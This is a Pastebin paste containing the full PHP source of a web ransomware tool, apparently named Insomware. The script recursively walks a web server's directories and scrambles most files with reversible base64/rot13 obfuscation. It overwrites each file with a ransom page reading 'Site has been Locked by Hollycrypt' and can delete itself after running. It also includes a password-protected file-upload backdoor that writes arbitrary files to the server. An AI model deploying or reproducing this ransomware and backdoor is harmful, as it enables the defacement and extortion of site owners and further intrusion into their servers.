Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(0);
- set_time_limit(0);
- ini_set('memory_limit', '-1');
- /**
- * Alosia - Hollyman13 | Insomware (Web)
- * 11/09/2016
- */
- class Shrewders
- {
- public function generate_enc($leak){
- for ($i=1; $i <3; $i++) {
- $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
- $leak = base64_encode(str_rot13($leak));
- $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
- }
- $pesan = base64_decode("SGF2ZSBhIG5pY2UgZGF5ID4sPCAjZWFhIC4uLiwgcGxlYXNlIENvbnRhY3QgeW91ciBnb2QgdG8gdW5sb2NrIHRoaXMgc2l0ZQ==");
- $leak = "<!--#Encrypted#".$leak."--> <title>(>,<) Site has been Locked by Hollycrypt</title> <em>".$pesan."</em>";
- return $leak;
- }
- public function generate_dec($leak){
- $woh = "/<!--#Encrypted#(.*?)-->/";
- preg_match($woh, $leak, $matches);
- if($matches[1]){
- $leak = $matches[1];
- for ($i=1; $i <3; $i++) {
- $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
- $leak = str_rot13(base64_decode($leak));
- $leak = substr($leak,(strlen($leak)/2)) . substr($leak,0,(strlen($leak)/2));
- }
- }else{
- return false;
- }
- return $leak;
- }
- public function lock($location_file){
- $fgt = file_get_contents($location_file);
- $lock = Shrewders::generate_enc($fgt);
- if(Shrewders::w00t($lock,$location_file)){
- echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='#FF03F5'>Locked Done!!!</font><br>";
- }else{
- echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='red'>Locked Fail!!!</font><br>";
- }
- }
- public function unlock($location_file){
- $fgt = file_get_contents($location_file);
- $lock = Shrewders::generate_dec($fgt);
- if(Shrewders::w00t($lock,$location_file)){
- echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='#FF03F5'>Unlocked Done!!!</font><br>";
- }else{
- echo "root@Hollyman13:~ <font color='white'>{$location_file}</font> <font color='#FF03F5'>Unlocked Fail!!!</font><br>";
- }
- }
- public function w00t($data,$locate){
- if( file_put_contents($locate, htmlentities($data) ) ){
- return true;
- }else{
- return false;
- }
- }
- public function cuk($ext,$name){
- $re = "/({$name})/";
- preg_match($re, $ext, $matches);
- if($matches[1]){
- return false;
- }
- return true;
- }
- public function boom($dir,$mode)
- {
- foreach(scandir($dir) as $d)
- {
- if($d!='.' && $d!='..')
- {
- $d = $dir.DIRECTORY_SEPARATOR.$d;
- if(!is_dir($d)){
- if(Shrewders::cuk($d,".png") && Shrewders::cuk($d,".svg") && Shrewders::cuk($d,".woff") && Shrewders::cuk($d,".jpg") && Shrewders::cuk($d,".htaccess") && Shrewders::cuk($d,"lol.html") ){
- if($mode == "1"){
- $locaked = Shrewders::lock($d);
- }else{
- $unlock = Shrewders::unlock($d);
- }
- }
- }else{
- Shrewders::boom($d,$mode);
- }
- }
- flush();
- ob_flush();
- }
- }
- public function locate(){
- return getcwd();
- }
- public function savemode(){
- $remove = unlink(basename($_SERVER['PHP_SELF']));
- if($remove){
- return true;
- }else{
- return false;
- }
- }
- }
- ?>
- <!DOCTYPE html>
- <html>
- <head>
- <title>Insomware | Alosia</title>
- <style type="text/css">
- body{
- color: #3EF403;
- background-color: black;
- }
- input {
- border: dashed 1px;
- border-color: #333;
- background-color: Black;
- font: 8pt Verdana;
- color: #0CFF37;
- }
- select {
- border: dashed 1px;
- border-color: #333;
- background-color: Black;
- font: 8pt Verdana;
- color: #0CFF37;
- }
- </style>
- </head>
- <body>
- <pre style="text-align: center"></font><font color="white">
- ___ ___ .__ .__ __ </font><font color="white">
- / | \ ____ | | | | ___.__. ___________ ___.__._______/ |_ </font><font color="white">
- / ~ \/ _ \| | | |< | |/ ___\_ __ < | |\____ \ __\</font><font color="white">
- \ Y ( <_> ) |_| |_\___ \ \___| | \/\___ || |_> > |
- \___|_ / \____/|____/____/ ____|\___ >__| / ____|| __/|__|
- \/ \/ \/ \/ |__|
- </pre>
- <Center>
- <?php
- if($_GET['pwd']=="Hollyman13"){
- echo '
- <form method=POST enctype="multipart/form-data" action="">
- <input type="file" name="files" class="upload"> <input type=submit value="Upload"></form>';
- $files = @$_FILES["files"];
- if ($files["name"] != '') {
- $fullpath = $files["name"];
- if (move_uploaded_file($files['tmp_name'], $fullpath)) {
- echo '<font color="green">Success!!!</font>';
- }else{
- echo '<font color="red">Failed!!!</font>';
- }
- }
- }else{?>
- <form action="" method="post">
- <input type="text" name="url" placeholder="<?= Shrewders::locate(); ?>" value="<?= Shrewders::locate(); ?>">
- <select name="method">
- <option value="1">Locked</option>
- <option value="2">Unlocked</option>
- </select>
- <input type="checkbox" name="savemode" value="1">Save Mode
- <input type="submit" name="submit" value="Execute!"/>
- </form>
- <pre style="text-align: left;"><?php
- if(isset($_POST['submit'])){
- echo Shrewders::boom($_POST['url'],$_POST['method']);
- if($_POST['savemode']=="1"){
- if(Shrewders::savemode()){
- echo "(>,<) #Ruuun.....";
- }
- }
- }
- ?>
- <?php
- }
- ?>
- </pre>
- </Center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement